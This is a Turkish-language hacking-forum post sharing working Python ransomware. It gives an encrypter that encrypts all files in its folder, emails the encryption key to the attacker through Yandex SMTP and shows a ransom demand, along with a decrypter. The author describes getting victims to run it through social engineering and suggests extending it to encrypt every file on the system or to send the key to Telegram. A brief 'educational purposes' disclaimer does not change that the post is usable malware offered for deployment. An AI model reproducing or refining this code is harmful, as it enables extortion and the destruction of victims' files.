- 12 Kas 2023
- 186
- 75
MERHABA ARKADAŞLAR BUGÜN SİZLERE PYTHON KODU İLE YAZMIŞ OLDUĞUM BASİT RANSOMWARE'İ PAYLAŞACAĞIM.
NOT: Bütün konuyu okumanızı öneriyorum önemli şeyler var.
<Eğitim amaçlıdır, hiçbir sorumluluğu kabul etmiyorum.>
Ransomware nedir?
Fidye yazılımı, şantaj yazılımı, fidye virüsü veya ransomware olarak adlandırılan fidye yazılımlarına verilen genel bir addır. Fidye virüsleri bulaştığı bilişim sistemleri üzerinde dosyaları erişimi engelleyerek (bizim kodda dosyaları şifreleyeceğiz) kullanıcılardan fidye talep eden zararlı yazılımlardır.
KOD ANLATIM
Kodumdan biraz bahsedecek olursam, kodum 2 bölümden oluşuyor. Birinci bölüm encrypter yani şifreleme bölümü, ikinci bölüm ise decrypter yani şifrelenen dosyaları tekrardan çalıştırmayı sağlayan kod.
Öncelikle hedef bilgisayar, sosyal mühendislik ile yedirdiğimiz encrypter kodunu sisteminde çalıştırdığında karşısına bir uyarı mesajı gelir ve bu uyarı mesajı şu hesaba para yatırırsan decrypter kodunu vereceğiz gibisinden bir yazı yazdırır. Ayrıca encrypter kodu çalıştırıldığında dosyaları şifrelemek için bir tane key oluşturur ve bu oluşturduğu key hackerin mailine düşer, bu key i dosyaları decrypt etmek için tekrardan kullanıcağız (isterseniz telegram hesabına düşecek şekilde değiştirebilirsiniz).
Kısa bir not geçmek istiyorum, smtplib işe yaramıyor diyenler olabilir fakat yandex mail ile bağlayınca işe yarıyor. Devam edelim...
Kurban bize gerekli fidyeyi verdiğinde biz de ona mailimize düşen key i veririz ve dosyaları tekrardan decrypt olur. Ben sistemindeki bütün dosyaları şifreleyecek şekilde yapmadım sadece bulunduğu dosya konumundaki dosyaları şifreleyecek şekilde yaptım fakat siz isterseniz internetten kolay bir araştırma ile bütün dosyaları da şifreleyebilirsiniz.
Şimdi kodlarımıza geçelim.
Ransomware (Encrypter) kodu:NOT: Bütün konuyu okumanızı öneriyorum önemli şeyler var.
<Eğitim amaçlıdır, hiçbir sorumluluğu kabul etmiyorum.>
Ransomware nedir?
Fidye yazılımı, şantaj yazılımı, fidye virüsü veya ransomware olarak adlandırılan fidye yazılımlarına verilen genel bir addır. Fidye virüsleri bulaştığı bilişim sistemleri üzerinde dosyaları erişimi engelleyerek (bizim kodda dosyaları şifreleyeceğiz) kullanıcılardan fidye talep eden zararlı yazılımlardır.
KOD ANLATIM
Kodumdan biraz bahsedecek olursam, kodum 2 bölümden oluşuyor. Birinci bölüm encrypter yani şifreleme bölümü, ikinci bölüm ise decrypter yani şifrelenen dosyaları tekrardan çalıştırmayı sağlayan kod.
Öncelikle hedef bilgisayar, sosyal mühendislik ile yedirdiğimiz encrypter kodunu sisteminde çalıştırdığında karşısına bir uyarı mesajı gelir ve bu uyarı mesajı şu hesaba para yatırırsan decrypter kodunu vereceğiz gibisinden bir yazı yazdırır. Ayrıca encrypter kodu çalıştırıldığında dosyaları şifrelemek için bir tane key oluşturur ve bu oluşturduğu key hackerin mailine düşer, bu key i dosyaları decrypt etmek için tekrardan kullanıcağız (isterseniz telegram hesabına düşecek şekilde değiştirebilirsiniz).
Kısa bir not geçmek istiyorum, smtplib işe yaramıyor diyenler olabilir fakat yandex mail ile bağlayınca işe yarıyor. Devam edelim...
Kurban bize gerekli fidyeyi verdiğinde biz de ona mailimize düşen key i veririz ve dosyaları tekrardan decrypt olur. Ben sistemindeki bütün dosyaları şifreleyecek şekilde yapmadım sadece bulunduğu dosya konumundaki dosyaları şifreleyecek şekilde yaptım fakat siz isterseniz internetten kolay bir araştırma ile bütün dosyaları da şifreleyebilirsiniz.
Şimdi kodlarımıza geçelim.
Python:
import os
import smtplib
import time
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file == "ransom.py" or file == "ransomdecrypter.py": # Kendi ransomwareimiz şifrelenmesin diye
continue
if os.path.isfile(file):
files.append(file)
key = Fernet.generate_key()
def email_sender():
email_server = smtplib.SMTP("smtp.yandex.com",587)
email_server.starttls()
email_server.login("MAİLİNİZ(YANDEX)","ŞİFRENİZ")
email_server.sendmail("GÖNDERİCİ","ALICI",f"{key}")
email_server.quit()
email_sender()
def display_warning():
warning_message = """
******************************************************
* *
* UYARI: YOUR SYSTEM IS HACKED! *
* *
* BÜTÜN DOSYALARIN ŞİFRELENDİ. *
* DECRYPTION KEY İÇİN ŞU HESABA 100 LİRA YATIR. *
* *
* KALAN SÜRE: 24 SAAT *
* *
******************************************************
"""
# Warning mesajını istediğiniz şekilde düzenleyebilirsiniz.
for _ in range(10):
os.system("cls" if os.name == "nt" else "clear")
print(warning_message)
time.sleep(1)
display_warning()
for file in files:
with open(file,"rb") as the_file:
contents = the_file.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file,"wb") as the_file:
the_file.write(contents_encrypted)
RansomDecrypter (Decrypter) kodu:
Python:
import os
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file == "ransom.py" or file == "ransomdecrypter.py":
continue
if os.path.isfile(file):
files.append(file)
print(f"Decrypting {files}")
secret_key = ""
secret_key = input("Oluşan key i gir: ") # Mailimize düşen key i girmesi lazım.
for file in files:
with open(file, "rb") as the_file:
contents = the_file.read()
contents_decrypted = Fernet(secret_key).decrypt(contents)
with open(file, "wb") as the_file:
the_file.write(contents_decrypted)
Evet arkadaşlar kodlarımız bu kadardı özet geçecek olursak; Encrypter kodumuz bulunduğu dosya konumu içerisindeki bütün dosyaları şifreler ve bir tane key oluşturur ve oluşturduğu key i mail yoluyla hackera gönderir. Decrypter kodu ise kullanıcıdan bir key ister ve mail yoluyla düşen bu key i girdiğinde dosyalar decrypt edilmiş olur. Arkadaşlar kodları kendizine göre değiştirebilirsiniz, mesela dosya konumundaki dosyaları değilde tüm dosyaları encrypt edicek şekilde düzenleyebilirsiniz veya mail yoluyla değil de telegram hesabına düşecek şekilde ayarlayabilirsiniz tamamen size kalmış. Bir de son olarak mailimize oluşturulan key şu şekilde düşüyor: b'PJyAu9OFsm2_fwhvJwPwe7XgRutzbYD6qC1d944kQgs=' buradaki şifre tırnak işareti içerisinde olandır. (PJyAu9OFsm2_fwhvJwPwe7XgRutzbYD6qC1d944kQgs=)
Arkadaşlar ben kod yazarken ingilizce şekilde yazıyorum anlayamayanız olabilir kusura bakmayın. Konu kısa olsun diye kodları teker teker açıklamadım sadece mantığını anlattım. Eğer istek olursa kodları teker teker yeni bir konuda açıklayabilirim.
Okuduğunuz için teşekkürler...
Arkadaşlar ben kod yazarken ingilizce şekilde yazıyorum anlayamayanız olabilir kusura bakmayın. Konu kısa olsun diye kodları teker teker açıklamadım sadece mantığını anlattım. Eğer istek olursa kodları teker teker yeni bir konuda açıklayabilirim.
Okuduğunuz için teşekkürler...